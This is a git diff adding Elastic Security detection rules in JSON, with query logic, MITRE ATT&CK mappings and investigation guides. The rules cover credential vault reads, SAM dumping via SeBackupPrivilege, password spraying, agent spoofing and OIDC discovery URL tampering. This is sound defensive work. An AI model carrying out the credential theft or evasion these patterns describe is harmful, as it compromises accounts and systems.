"host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.LogonProcessName", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.TargetLogonId", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "42eeee3d-947f-46d3-a14d-7036b962c266", + "setup": "## Setup\n\nAudit events 4624 and 4688 are needed to trigger this rule.\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1134", + "name": "Access Token Manipulation", + "reference": "https://attack.mitre.org/techniques/T1134/", + "subtechnique": [ + { + "id": "T1134.002", + "name": "Create Process with Token", + "reference": "https://attack.mitre.org/techniques/T1134/002/" + }, + { + "id": "T1134.003", + "name": "Make and Impersonate Token", + "reference": "https://attack.mitre.org/techniques/T1134/003/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 115 + }, + "id": "42eeee3d-947f-46d3-a14d-7036b962c266_115", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/44fc462c-1159-4fa8-b1b7-9b6296ab4f96_116.json b/packages/security_detection_engine/kibana/security_rule/44fc462c-1159-4fa8-b1b7-9b6296ab4f96_116.json new file mode 100644 index 00000000000..38c7a177f35 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/44fc462c-1159-4fa8-b1b7-9b6296ab4f96_116.json @@ -0,0 +1,114 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Multiple Vault Web Credentials Read", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Multiple Vault Web Credentials Read\n\nWindows Credential Manager stores credentials for web logins, apps, and networks, facilitating seamless user access. Adversaries exploit this by extracting stored credentials, potentially aiding lateral movement within networks. The detection rule identifies suspicious activity by flagging consecutive credential reads from the same process, excluding benign actions like localhost access, thus highlighting potential credential dumping attempts.\n\n### Possible investigation steps\n\n- Review the process associated with the flagged PID to determine if it is a legitimate application or potentially malicious. Check for known software or unusual executables.\n- Investigate the source and destination of the web credentials read by examining the winlog.event_data.Resource field to identify any suspicious or unexpected URLs.\n- Check the winlog.computer_name to identify the affected system and assess whether it is a high-value target or has been involved in previous suspicious activities.\n- Analyze the timeline of events around the alert to identify any preceding or subsequent suspicious activities that may indicate a broader attack pattern.\n- Verify the user context by examining the winlog.event_data.SubjectLogonId to ensure the activity was not performed by a privileged or administrative account without proper authorization.\n- Cross-reference the event with other security logs or alerts to identify any correlated activities that might suggest a coordinated attack or compromise.\n\n### False positive analysis\n\n- Localhost access is a common false positive since the rule excludes localhost reads. Ensure that any legitimate applications accessing credentials via localhost are properly whitelisted to prevent unnecessary alerts.\n- Automated scripts or applications that frequently access web credentials for legitimate purposes may trigger the rule. Identify these processes and create exceptions for them to reduce noise.\n- System maintenance or updates might involve credential reads that are benign. Coordinate with IT teams to schedule these activities and temporarily adjust the rule sensitivity or add exceptions during these periods.\n- Security tools or monitoring software that perform regular checks on credential integrity could be flagged. Verify these tools and add them to an exception list if they are part of the organization's security infrastructure.\n- User behavior such as frequent password changes or credential updates might cause alerts. Educate users on the impact of their actions and consider adjusting the rule to accommodate expected behavior patterns.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent potential lateral movement by the adversary.\n- Terminate the suspicious process identified by the process ID (pid) involved in the credential reads to stop further credential access.\n- Conduct a thorough review of the affected system for any additional signs of compromise, such as unauthorized user accounts or scheduled tasks.\n- Change passwords for any accounts that may have been exposed, focusing on those stored in the Windows Credential Manager.\n- Implement network segmentation to limit access to critical systems and data, reducing the risk of lateral movement.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.\n- Enhance monitoring and logging on the affected system and similar endpoints to detect any future attempts at credential dumping or unauthorized access.", + "query": "sequence by winlog.computer_name, winlog.process.pid with maxspan=1s\n\n /* 2 consecutive vault reads from same pid for web creds */\n\n [any where host.os.type == \"windows\" and event.code == \"5382\" and\n (winlog.event_data.SchemaFriendlyName : \"Windows Web Password Credential\" and winlog.event_data.Resource : \"http*\") and\n not winlog.event_data.SubjectLogonId : \"0x3e7\" and\n not winlog.event_data.Resource : \"http://localhost/\"]\n\n [any where host.os.type == \"windows\" and event.code == \"5382\" and\n (winlog.event_data.SchemaFriendlyName : \"Windows Web Password Credential\" and winlog.event_data.Resource : \"http*\") and\n not winlog.event_data.SubjectLogonId : \"0x3e7\" and\n not winlog.event_data.Resource : \"http://localhost/\"]\n", + "references": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5382", + "https://www.elastic.co/security-labs/detect-credential-access" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.Resource", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SchemaFriendlyName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectLogonId", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.process.pid", + "type": "long" + } + ], + "risk_score": 47, + "rule_id": "44fc462c-1159-4fa8-b1b7-9b6296ab4f96", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1003", + "name": "OS Credential Dumping", + "reference": "https://attack.mitre.org/techniques/T1003/" + }, + { + "id": "T1555", + "name": "Credentials from Password Stores", + "reference": "https://attack.mitre.org/techniques/T1555/", + "subtechnique": [ + { + "id": "T1555.004", + "name": "Windows Credential Manager", + "reference": "https://attack.mitre.org/techniques/T1555/004/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 116 + }, + "id": "44fc462c-1159-4fa8-b1b7-9b6296ab4f96_116", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/47e22836-4a16-4b35-beee-98f6c4ee9bf2_216.json b/packages/security_detection_engine/kibana/security_rule/47e22836-4a16-4b35-beee-98f6c4ee9bf2_216.json new file mode 100644 index 00000000000..2f7726812c5 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/47e22836-4a16-4b35-beee-98f6c4ee9bf2_216.json @@ -0,0 +1,134 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious Remote Registry Access via SeBackupPrivilege", + "note": "## Triage and analysis\n\n### Investigating Suspicious Remote Registry Access via SeBackupPrivilege\n\nSeBackupPrivilege is a privilege that allows file content retrieval, designed to enable users to create backup copies of the system. Since it is impossible to make a backup of something you cannot read, this privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any access control list (ACL) placed in the system.\n\nThis rule identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation.\n\n#### Possible investigation steps\n\n- Identify the user account that performed the action and whether it should perform this kind of action.\n- Investigate the activities done by the subject user the login session. The field `winlog.event_data.SubjectLogonId` can be used to get this data.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Investigate abnormal behaviors observed by the subject user such as network connections, registry or file modifications, and processes created.\n- Investigate if the registry file was retrieved or exfiltrated.\n\n### False positive analysis\n\n- If this activity is expected and noisy in your environment, benign true positives (B-TPs) can be added as exceptions if necessary.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Limit or disable the involved user account to prevent further post-compromise behavior.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "sequence by winlog.computer_name, winlog.event_data.SubjectLogonId with maxspan=1m\n [iam where host.os.type == \"windows\" and event.action == \"logged-in-special\" and\n winlog.event_data.PrivilegeList : \"SeBackupPrivilege\" and\n\n /* excluding accounts with existing privileged access */\n not winlog.event_data.PrivilegeList : \"SeDebugPrivilege\"]\n [any where host.os.type == \"windows\" and event.code == \"5145\" and winlog.event_data.RelativeTargetName : \"winreg\"]\n", + "references": [ + "https://github.com/mpgn/BackupOperatorToDA", + "https://raw.githubusercontent.com/Wh04m1001/Random/main/BackupOperators.cpp", + "https://www.elastic.co/security-labs/detect-credential-access" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.PrivilegeList", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.RelativeTargetName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectLogonId", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "47e22836-4a16-4b35-beee-98f6c4ee9bf2", + "setup": "## Setup\n\nThe 'Audit Detailed File Share' audit policy is required be configured (Success) on Domain Controllers and Sensitive Windows Servers.\nSteps to implement the logging policy with Advanced Audit Configuration:\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nObject Access >\nAudit Detailed File Share (Success)\n```\n\nThe 'Special Logon' audit policy must be configured (Success).\nSteps to implement the logging policy with Advanced Audit Configuration:\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nLogon/Logoff >\nSpecial Logon (Success)\n```\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Lateral Movement", + "Tactic: Credential Access", + "Resources: Investigation Guide", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1003", + "name": "OS Credential Dumping", + "reference": "https://attack.mitre.org/techniques/T1003/", + "subtechnique": [ + { + "id": "T1003.002", + "name": "Security Account Manager", + "reference": "https://attack.mitre.org/techniques/T1003/002/" + }, + { + "id": "T1003.004", + "name": "LSA Secrets", + "reference": "https://attack.mitre.org/techniques/T1003/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/" + } + ] + } + ], + "type": "eql", + "version": 216 + }, + "id": "47e22836-4a16-4b35-beee-98f6c4ee9bf2_216", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/48b6edfc-079d-4907-b43c-baffa243270d_115.json b/packages/security_detection_engine/kibana/security_rule/48b6edfc-079d-4907-b43c-baffa243270d_115.json new file mode 100644 index 00000000000..e16b7772cc8 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/48b6edfc-079d-4907-b43c-baffa243270d_115.json @@ -0,0 +1,122 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Multiple Logon Failure from the same Source Address", + "note": "## Triage and analysis\n\n### Investigating Multiple Logon Failure from the same Source Address\n\nAdversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found [here](https://attack.mitre.org/techniques/T1110/001/).\n\nThis rule identifies potential password guessing/brute force activity from a single address.\n\n> **Note**:\n> This investigation guide uses the [Osquery Markdown Plugin](https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html) introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.\n\n#### Possible investigation steps\n\n- Investigate the logon failure reason code and the targeted user names.\n - Prioritize the investigation if the account is critical or has administrative privileges over the domain.\n- Investigate the source IP address of the failed Network Logon attempts.\n - Identify whether these attempts are coming from the internet or are internal.\n- Investigate other alerts associated with the involved users and source host during the past 48 hours.\n- Identify the source and the target computer and their roles in the IT environment.\n- Check whether the involved credentials are used in automation or scheduled tasks.\n- If this activity is suspicious, contact the account owner and confirm whether they are aware of it.\n- Examine the source host for derived artifacts that indicate compromise:\n - Observe and collect information about the following activities in the alert source host:\n - Attempts to contact external domains and addresses.\n - Examine the DNS cache for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve DNS Cache\",\"query\":\"SELECT * FROM dns_cache\"}}\n - Examine the host services for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve All Services\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Services Running on User Accounts\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\\nuser_account == null)\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Service Unsigned Executables with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\\n\"}}\n- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity\n\n### False positive analysis\n\n- Understand the context of the authentications by contacting the asset owners. This activity can be related to a new or existing automation or business process that is in a failing state.\n- Authentication misconfiguration or obsolete credentials.\n- Service account password expired.\n- Domain trust relationship issues.\n- Infrastructure or availability issues.\n\n### Related rules\n\n- Multiple Logon Failure Followed by Logon Success - 4e85dc8a-3e41-40d8-bc28-91af7ac6cf60\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the source host to prevent further post-compromise behavior.\n- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "sequence by winlog.computer_name, source.ip with maxspan=10s\n [authentication where host.os.type == \"windows\" and event.action == \"logon-failed\" and\n /* event 4625 need to be logged */\n winlog.logon.type : \"Network\" and\n source.ip != null and source.ip != \"127.0.0.1\" and source.ip != \"::1\" and\n not user.name : (\"ANONYMOUS LOGON\", \"-\", \"*$\") and not user.domain == \"NT AUTHORITY\" and\n\n /*\n noisy failure status codes often associated to authentication misconfiguration :\n 0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine.\n 0XC000005E\t- There are currently no logon servers available to service the logon request.\n 0XC0000133\t- Clocks between DC and other computer too far out of sync.\n 0XC0000192\tAn attempt was made to logon, but the Netlogon service was not started.\n */\n not winlog.event_data.Status : (\"0xC000015B\", \"0XC000005E\", \"0XC0000133\", \"0XC0000192\")] with runs=10\n", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624", + "https://social.technet.microsoft.com/Forums/ie/en-US/c82ac4f3-a235-472c-9fd3-53aa646cfcfd/network-information-missing-in-event-id-4624?forum=winserversecurity", + "https://serverfault.com/questions/379092/remote-desktop-failed-logon-event-4625-not-logging-ip-address-on-2008-terminal-s/403638#403638" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.Status", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.logon.type", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "48b6edfc-079d-4907-b43c-baffa243270d", + "setup": "## Setup\n\n- In some cases the source network address in Windows events 4625/4624 is not populated due to Microsoft logging limitations (examples in the references links). This edge case will break the rule condition and it won't trigger an alert.\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 115 + }, + "id": "48b6edfc-079d-4907-b43c-baffa243270d_115", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/493834ca-f861-414c-8602-150d5505b777_104.json b/packages/security_detection_engine/kibana/security_rule/493834ca-f861-414c-8602-150d5505b777_104.json new file mode 100644 index 00000000000..5ed86c9b440 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/493834ca-f861-414c-8602-150d5505b777_104.json @@ -0,0 +1,75 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection.", + "false_positives": [ + "This is meant to run only on datasources using Elastic Agent 7.14+ since versions prior to that will be missing the necessary field, resulting in false positives." + ], + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Agent Spoofing - Multiple Hosts Using Same Agent", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Agent Spoofing - Multiple Hosts Using Same Agent\n\nIn network environments, agents are deployed on hosts to monitor and report activities. Adversaries may exploit these agents by hijacking their IDs to inject false data, masking malicious actions. The detection rule identifies anomalies where multiple hosts report using the same agent ID, signaling potential spoofing attempts. By focusing on unique agent ID usage, it helps uncover evasion tactics aimed at concealing unauthorized activities.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific agent ID that is being reported by multiple hosts.\n- Cross-reference the agent ID with the list of known and authorized agents to determine if it has been compromised or misconfigured.\n- Examine the network logs and host activity for each host reporting the same agent ID to identify any unusual or unauthorized activities.\n- Check for any recent changes or updates to the agent software on the affected hosts that could explain the anomaly.\n- Investigate the timeline of events to determine when the agent ID started being used by multiple hosts and correlate this with any known incidents or changes in the network environment.\n- Assess the potential impact of the spoofing attempt on the network's security posture and consider isolating affected hosts if necessary to prevent further malicious activity.\n\n### False positive analysis\n\n- Legitimate load balancing or failover scenarios where multiple hosts are configured to use the same agent ID for redundancy can trigger false positives. Users should identify and document these configurations, then create exceptions in the detection rule to exclude these known non-threatening behaviors.\n- Virtualized environments where snapshots or clones of a host are created might result in multiple instances reporting the same agent ID. Users should ensure that each virtual instance is assigned a unique agent ID or adjust the rule to account for these scenarios.\n- Testing or development environments where agents are intentionally duplicated for testing purposes can also lead to false positives. Users should tag these environments appropriately and modify the rule to exclude events from these tags.\n- In cases where agents are temporarily reassigned to different hosts for maintenance or troubleshooting, users should maintain a log of these activities and adjust the detection rule to ignore these temporary changes.\n\n### Response and remediation\n\n- Isolate affected hosts immediately to prevent further spread of potentially malicious activities across the network.\n- Revoke and reissue new agent IDs for the affected hosts to ensure that compromised IDs are no longer in use.\n- Conduct a thorough forensic analysis on the isolated hosts to identify any unauthorized changes or malicious software that may have been introduced.\n- Review and update access controls and authentication mechanisms for agent deployment to prevent unauthorized access and hijacking of agent IDs.\n- Monitor network traffic and logs closely for any signs of continued spoofing attempts or related suspicious activities.\n- Escalate the incident to the security operations center (SOC) and relevant stakeholders to ensure awareness and coordinated response efforts.\n- Implement enhanced logging and alerting for agent ID anomalies to improve detection of similar threats in the future.", + "query": "from logs-endpoint.* metadata _id\n| where event.agent_id_status is not null \n| stats Esql.count_distinct_host_ids = count_distinct(host.id), Esql.host_id_values = values(host.id), Esql.user_id_values_user_id = values(user.id) by agent.id\n| where Esql.count_distinct_host_ids >= 2\n| keep Esql.count_distinct_host_ids, Esql.host_id_values, Esql.user_id_values_user_id, agent.id\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.count_distinct_host_ids", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.host_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.user_id_values_user_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "493834ca-f861-414c-8602-150d5505b777", + "severity": "high", + "tags": [ + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1036", + "name": "Masquerading", + "reference": "https://attack.mitre.org/techniques/T1036/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 104 + }, + "id": "493834ca-f861-414c-8602-150d5505b777_104", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/498e4094-60e7-11f0-8847-f661ea17fbcd_2.json b/packages/security_detection_engine/kibana/security_rule/498e4094-60e7-11f0-8847-f661ea17fbcd_2.json deleted file mode 100644 index 014fe1c0243..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/498e4094-60e7-11f0-8847-f661ea17fbcd_2.json +++ /dev/null @@ -1,59 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects a change to the OpenID Connect (OIDC) discovery URL in the Entra ID Authentication Methods Policy. This behavior may indicate an attempt to federate Entra ID with an attacker-controlled identity provider, enabling bypass of multi-factor authentication (MFA) and unauthorized access through bring-your-own IdP (BYOIDP) methods.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "OIDC Discovery URL Changed in Entra ID", - "note": "## Triage and analysis\n\n### Investigating OIDC Discovery URL Changed in Entra ID\n\nThis rule detects when the OIDC `discoveryUrl` is changed within the Entra ID Authentication Methods policy. Adversaries may leverage this to federate Entra ID with a rogue Identity Provider (IdP) under their control, allowing them to authenticate users with attacker-owned credentials and bypass MFA. This misconfiguration allows an attacker to impersonate valid users by issuing tokens via a third-party OIDC IdP while still passing validation in Entra ID. This technique has been publicly demonstrated and has critical implications for trust in federated identity.\n\n### Possible investigation steps\n- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `ipAddress` to identify who made the change and from where.\n- Examine the `old_oidc_discovery` and `new_oidc_discovery` to confirm if the new `discoveryUrl` points to an unexpected or untrusted IdP.\n- Check that the discovery URLs have `.well-known/openid-configuration` endpoints, which are standard for OIDC providers.\n- Use `azure.auditlogs.properties.correlation_id` to pivot to related changes and activity from the same session.\n- Review any subsequent sign-in activity that may have originated from the new IdP.\n- Pivot to additional logs associated with the user or application that made the change to identify any further suspicious activity.\n\n### False positive analysis\n- Entra ID administrators may intentionally reconfigure OIDC trust relationships to support new business requirements.\n- Validate any changes with the identity or security operations team before taking action.\n\n### Response and remediation\n- If the change is unauthorized, immediately revert the discovery URL to the trusted IdP via the Entra ID portal.\n- Revoke tokens or sessions issued after the configuration change.\n- Investigate how the unauthorized change occurred (e.g., compromised account or over-privileged app).\n- Apply conditional access policies and change control procedures to protect IdP configuration changes.\n", - "query": "FROM logs-azure.auditlogs-* metadata _id, _version, _index\n| WHERE event.action == \"Authentication Methods Policy Update\"\n| EVAL Esql.azure.auditlogs.properties.target_resources.modified_properties.new_value.replace = REPLACE(`azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`, \"\\\\\\\\\", \"\")\n| EVAL Esql.azure.auditlogs.properties.target_resources.modified_properties.old_value.replace = REPLACE(`azure.auditlogs.properties.target_resources.0.modified_properties.0.old_value`, \"\\\\\\\\\", \"\")\n| DISSECT Esql.azure.auditlogs.properties.target_resources.modified_properties.new_value.replace \"%{}discoveryUrl\\\":\\\"%{Esql.azure.auditlogs.properties.auth.oidc.discovery.url.new}\\\"}%{}\"\n| DISSECT Esql.azure.auditlogs.properties.target_resources.modified_properties.old_value.replace \"%{}discoveryUrl\\\":\\\"%{Esql.azure.auditlogs.properties.auth.oidc.discovery.url.old}\\\"}%{}\"\n| WHERE Esql.azure.auditlogs.properties.auth.oidc.discovery.url.new IS NOT NULL and Esql.azure.auditlogs.properties.auth.oidc.discovery.url.old IS NOT NULL\n| WHERE Esql.azure.auditlogs.properties.auth.oidc.discovery.url.new != Esql.azure.auditlogs.properties.auth.oidc.discovery.url.old\n| KEEP\n @timestamp,\n event.action,\n event.outcome,\n azure.tenant_id,\n azure.correlation_id,\n azure.auditlogs.properties.activity_datetime,\n azure.auditlogs.properties.operation_type,\n azure.auditlogs.properties.initiated_by.user.userPrincipalName,\n azure.auditlogs.properties.initiated_by.user.displayName,\n azure.auditlogs.properties.initiated_by.user.ipAddress,\n source.geo.city_name,\n source.geo.region_name,\n source.geo.country_name,\n Esql.azure.auditlogs.properties.auth.oidc.discovery.url.new,\n Esql.azure.auditlogs.properties.auth.oidc.discovery.url.old\n", - "references": [ - "https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/" - ], - "risk_score": 73, - "rule_id": "498e4094-60e7-11f0-8847-f661ea17fbcd", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Microsoft Entra ID", - "Data Source: Microsoft Entra ID Audit Logs", - "Use Case: Identity and Access Audit", - "Tactic: Persistence", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1556", - "name": "Modify Authentication Process", - "reference": "https://attack.mitre.org/techniques/T1556/", - "subtechnique": [ - { - "id": 